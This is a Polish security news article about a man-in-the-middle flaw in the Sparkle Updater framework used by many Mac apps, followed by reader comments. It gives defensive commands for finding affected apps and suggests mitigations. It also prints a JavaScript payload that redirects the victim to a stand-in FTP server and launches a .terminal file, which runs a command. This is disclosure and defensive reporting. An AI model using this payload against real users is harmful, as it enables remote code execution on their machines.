13:36
31/1/2016

W piątek Radek Karpowicz poinformował o dziurze w mechanizmie aktualizacji wykorzystywanym przez wiele popularnych aplikacji przeznaczonych na OS X. Ponieważ atak można z łatwością przeprowadzić w sieci lokalnej, na ryzyko podrzucenia backdoora narażony jest każdy użytkownik Maca, który aktualizuje swoje aplikacje będąc podpiętym do niezaufanej sieci. Obecnie podatnych jest kilkaset aplikacji a lista wciąż rośnie.

Winna nieszyfrowana komunikacja

Odkryta przez Radka luka (a tak naprawdę 2 podatności) znajduje się we frameworku Sparkle Updater, który wykorzystywany jest przez wielu twórców aplikacji do obsługi aktualizacji. Działanie Sparkle Updatera można porównać do mechanizmu RSS. Developer ustawia część serwerową, tzw. serwer AppCast, który poprzez zmiany w pliku XML informuje klientów o najnowszej wersji aplikacji. O plik XML regularnie pyta wbudowana w daną aplikację cześć kliencka frameworka Sparkle.

Schemat aktualizacji aplikacji przez AppCast

Schemat aktualizacji aplikacji przez AppCast

Ze Sparkle Updatera korzystają m.in. tak znane aplikacje jak Adium, iTerm, GPG Keychain, Forklift, Facebook Origami, MacVim, Skitch, Sublime, Transmission, Tunnelblick czy VLC. Więcej aplikacji wykorzystujących Sparkle Upadter znajdziecie tutaj, a jeśli chcecie sprawdzić, czy któraś z zainstalowanych przez was aplikacji korzysta ze Sparcle Updatera, wydajcie następujące polecenie:

find /Applications -name Sparkle.framework | awk -F'/' '{print $3}' | awk -F'.' '{print $1}'

lub lepiej — aby zweryfikować która z nich łączy się bez szyfrowania (a zatem umożliwia opisywane w tym artykule ataki) wydajcie następujące polecenie:

grep --include=Info.plist -A 1 -rn /Applications/ -e SUFeedURL

Wersja biorąca pod uwagę binarne pliki plist:

for i in /Applications/*/Contents/Info.plist;
do _url=$(defaults read "$i" SUFeedURL 2>/dev/null);
awk -v url="$_url" -v app="$i" 'BEGIN{if (length(url) > 0) {printf "%-80s %-40s\n", app, url}}'; done

Atak MITM na mechanizm aktualizacji oprogramowania

Pomimo sugestii w dokumentacji, aby developerzy korzystali z HTTPS, sam serwer aktualizacji AppCast nie wymusza szyfrowania. Dlatego komunikacja niektórych z aplikacji (tych, których developerzy użyli protokołu HTTP zamiast HTTPS) jest podatna na atak MITM. Atakujący znajdujący się na trasie wędrówki komunikatu informującego o nowej wersji może go wtedy zmodyfikować.

Błędy tego typu uwielbiają agencje rządowe, gdyż kontrolując łącza internetowe dostawców sieci, mogą podrzucić wybranemu użytkownikowi “fałszywą” aktualizację, która zamiast dodania nowej funkcji do danej aplikacji, po prostu podrzuci backdoora na jego komputer.

Ale użytkownik Maca niebędący na celu agencji rządowych też ma się czego obawiać. Atak MITM można bardzo łatwo przeprowadzić w sieci lokalnej, a zatem, w uproszczeniu, zagrożeniem są dla was wszyscy, którzy korzystają z tej samej sieci Wi-Fi (dowcipny kolega w pracy? złośliwy gość hotelowy? pracownik konkurencji na branżowej konferencji?).

Techniczny opis ataku

W przypadku Sparkle Updatera ściągane binaria z nową wersją aplikacji są podpisane i kliencka część frameworka weryfikuje podpis DSA. Nie można więc “zatrojanować” binarki w locie. Ale niestety, jeśli developer nie wymusił połączenia HTTPS, to pierwszym krokiem aktualizacji jest zawsze pobranie XML-a z instrukcjami, który — i to jest clue pierwszej podatności — jest po stronie klienta renderowany za pomocą komponentu WebView. Atakujący może więc podrzucić kod JavaScript (lub HTML), który zostanie wyświetlony ofierze.

Fałszywa wiadomość od przechwytującego proces aktualizacji

Fałszywa wiadomość od przechwytującego proces aktualizacji

Radek, zainspirowany opisem ataku XSS to RCE in Atlassian Hipchat zaproponował następujący payload:


window.location = 'ftp://anonymous:nopass@our-fake-server.com/';
window.setTimeout(function() {
window.location = 'file:///Volumes/our-fake-server.com/UPGRADE.terminal';
}, 1000);

Plik UPGRADE.terminal to wyeksportowane z aplikacji Terminal ustawienia. Zawierają one włączoną opcję “run command on startup“:

Przygotowywanie payloadu z wywoływanym automatycznie poleceniem

Przygotowywanie payloadu z wywoływanym automatycznie poleceniem

Otworzenie zasobu ftp:// powoduje jego automatyczne podmontowanie pod ścieżką /Volumes, a następnie uruchomienie aplikacji do obsługi rozszerzenia .terminal, którą jest terminal, wykonujący podstawione polecenie.

Oto video obrazujące skutki ataku:

Możliwe jest zautomatyzowanie ataku i jego masowe wykorzystanie a także uruchomienie dowolnej aplikacji (np. payloadu metasploita). Atak tego typu pokazał Simone Margaritelli bazując na możliwościach frameworka Bettercap

Na marginesie, jeśli ktoś od RCE woli DoS, jako payload może ustawić XXE (XML External Entity):

Payload powodujący DoS

Payload powodujący DoS

Wynik działania payloadu DoS

Wynik działania payloadu DoS

Mam VLC, Transmissions albo inną podatną aplikację — co robić, jak żyć?

Sparkle już wydał poprawioną wersję swojego frameworka, a więc developerzy poszczególnych aplikacji, którzy nie wymuszali połączeń HTTPS, zapewne niebawem “wypchną” aktualizacje. Warto tu podkreślić, że informacja na temat błędu trafiła do twórców oprogramowania kilka tygodni wcześniej…

Doraźnie (tj. dopóki aplikacje nie pojawią się w wersji korzystającej z AppCast po HTTPS) problem można rozwiązać poprzez wyłączenie automatycznych aktualizacji w podatnych aplikacjach. Lokalizacje aplikacji wskaże to polecenie:

grep --include=Info.plist -A 1 -rn /Applications/ -e SUFeedURL

lub to polecenie (wersja biorąca pod uwagę binarne pliki plist):

for i in /Applications/*/Contents/Info.plist;
do _url=$(defaults read "$i" SUFeedURL 2>/dev/null);
awk -v url="$_url" -v app="$i" 'BEGIN{if (length(url) > 0) {printf "%-80s %-40s\n", app, url}}'; done

Jeśli jakaś aplikacja nie pozwala na wyłączenie mechanizmu “automatycznych aktualizacji” w swoich opcjach, pozostaje wam zblacklistowanie zwróconego przez skrypt URL-a w pliku hosts lub np. na LittleSnitchu.

Gdyby komuś przyszło do głowy podmienić w pliku URL z http:// na https://, to warto zaznaczyć, że modyfikacja plików plist podpisanej aplikacji, sprawi, że przestanie ona działać.

PS. Facebook wypłacił Radkowi bug bounty za zgłoszenie niniejszego błędu. Podobnie postąpi Sparkle, bo jak zapowiedział jeden z developerów, porneL, niebawem w Sparkle rusza bug bounty. Gratulujemy tym bardziej, że od pół roku mamy przyjemność współpracować z Radkiem przy kilku projektach.

Przeczytaj także:


Dowiedz się, jak zabezpieczyć swoje dane i pieniądze przed cyberprzestępcami. Wpadnij na nasz kultowy ~3 godzinny wykład pt. "Jak nie dać się zhackować?" i poznaj kilkadziesiąt praktycznych i przede wszystkim prostych do zastosowania porad, które skutecznie podniosą Twoje bezpieczeństwo i pomogą ochronić przed atakami Twoich najbliższych. Uczestnicy tego wykładu oceniają go na: 9,34/10!

Na ten wykład powinien przyjść każdy, kto korzysta z internetu na smartfonie lub komputerze, prywatnie albo służbowo. Wykład prowadzimy prostym językiem, wiec zrozumie go każdy, także osoby spoza branży IT. Dlatego na wykład możesz spokojnie przyjść ze swoimi rodzicami lub mniej technicznymih znajomych. W najbliższych tygodniach będziemy w poniższych miastach:

Zobacz pełen opis wykładu klikając tutaj lub kup bilet na wykład klikając tu.

24 komentarzy

Dodaj komentarz
  1. Całkiem solidny argument na korzyść app store’a

  2. Powinniście używać Windows 10 lub minimum 8
    Tam takie rzeczy nie mają miejsca, gwarantowane przez NSA

  3. Wygląda na to, że Niebezpiecznik zaczął przekierowywać bezwarunkowo połączenia HTTP na HTTPS, przez co nie da się go otworzyć na Operze 12 (znany problem z Universal SSL na CloudFlare) – moglibyście przywrócić dostęp po HTTP?

    • W najnowszej Operze (ver. 34) też nie działa?

    • Wiesz że dostęp do HTTP i HTTPS jednocześnie depcze dogmat szyfrowanej komunikacji HTTSP bo CSFR bo Pomyłki i … jeśli mam być szczery chcesz być bezpieczny to trzeba kompletnie wyłączyć HTTP ! niestety jeśli masz włączony HTTP i redirekty to poufność, integralność i autentyczność jest gwałcona jak .. yhm bez względnie więc równie dobrze możesz prosić aby wyłączyć HTTPS co oczywiście demaskuje cię jako sabotażystę

    • ooo niebezpiecznik po https, koniec świata idzie

    • @roberto, wsparcie dla https było od 2 (3?) lat — kto chciał, ten miał i korzystał. Teraz, z racji uchwalenia ustawy inwigilacyjnej przez rząd, po prostu wymusiliśmy dla wszystkich ;) Dzięki temu ruchowi, ISP zrzucający (na czyjkolwiek wniosek) twój ruch po tcp/80 && tcp/443 nie będzie wiedział, który artykuł czytasz na niebezpieczniku, a mniej sprytny może nawet pomylić wejście na nasz serwis ze ściąganiem torrentów ;)

      $ host niebezpiecznik.pl
      niebezpiecznik.pl has address 141.101.118.195
      niebezpiecznik.pl has address 141.101.118.194

      $ host thepiratebay.se
      thepiratebay.se has address 141.101.118.195
      thepiratebay.se has address 141.101.118.194

    • httpsy, szyfrowania, a mail i tak u wujka :P

      niebezpiecznik.pl mail is handled by 20 aspmx4.google.com.
      niebezpiecznik.pl mail is handled by 10 alt2.aspmx.l.google.com.
      niebezpiecznik.pl mail is handled by 20 aspmx3.google.com.
      niebezpiecznik.pl mail is handled by 1 aspmx.l.google.com.
      niebezpiecznik.pl mail is handled by 10 alt1.aspmx.l.google.com.

  4. Blad znany od jakiegos czasu. Zadna nowosc.

  5. @Piotr – nie wiem, nie używam, Opera 15+ to zupełnie inny program pozbawiony mnóstwa funkcjonalności i z tego powodu sporo osób wciąż pozostaje na Operze 12.

    • polecam przeglądarkę Vivaldi. duchowy spadkobierca opery 12. aktualnie jeszcze beta ale już fajnie się zapowiada

    • Stara Opera nie obsługuje SNI, dlatego nie działa.

    • O zgrozo, ludzie interesujący się bezpieczeństwem korzystają z porzuconej i niewspieranej przeglądarki. I to zamkniętej, żeby było śmieszniej…

    • @lukasamd O ile się orientuję, to problem leży nie w SNI a w ECDSA i jakoś się go da obejść (niektóre inne strony na CloudFlare chodzą bez problemu po HTTPS), ale nie wiem jak.

      @rob006 No właśnie, komu się chce robić na nią exploity? :P

      @Piotr Konieczny To nie jedyny problem z Waszym hostingiem, np. wchodząc przez Ixquick Proxy zawsze dostaję 403, a przez Tora zawsze muszę rozwiązywać captchę.

    • Ixquick Proxy pewnie nie przekazuje jakiegos nagłówka HTTP (podeślij screenshota albo request).
      Z kolei Tor, z którego sami korzystamy, nie zawsze wrzuca Captche, a jedynie przy wejsciu przez wezly, ktore byly widziane na honeypotach jako “zle czlowieki”. Taki urok Tora ;) Bez captchy na Torze spam wzrasta 10x. A userow przez Tora jest mniej niż 1%. The choice is simple.

    • @Piotr Konieczny – nie bardzo rozumiem. Jakie nagłówki przekazuje Ixquick Proxy to ja nie wiem. Można samemu sprawdzić wyszukując na Startpage frazę “niebezpiecznik.pl” i klikając przy wyniku link “Serwer proxy”.

  6. Taki output:

    /Applications//Dashlane.app/Contents/Library/LoginItems/DashlaneAgent.app/Contents/Info.plist:57: SUFeedURL

    Czy to znaczy, że to https://www.dashlane.com/ jest podatne na to?

  7. Moze i jest podatne… Ale tego kompletnie nikt nie uzywa na macu.

  8. Ale to przecież jest tylko na Maca. Także większości nas nie dotyczy. No nie??

    • Tak. I przestań się pode Mnie podszywać, dobrze?

    • Zauważ różnicę w nicku. Ty chyba trollujesz, bo inaczej ciężko to wytłumaczyć. Już kilka razy zwracałem Ci uwagę pod innymi tematami.. Jeśli to nie trolling, to po prostu jesteś impotentem umysłowym, i z tym już nic się nie da zrobić.

  9. Podbony bug mozna znalesc w ios iphone nie są bezpieczne dobry sposob na usuniecie blokady icloud z kazdego iphona :)

  10. A Linux dalej niepokonany.

    • @SuperTux Marzenia to ty masz… chyba że jeszcze nie ukończyłeś gimnazjum

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: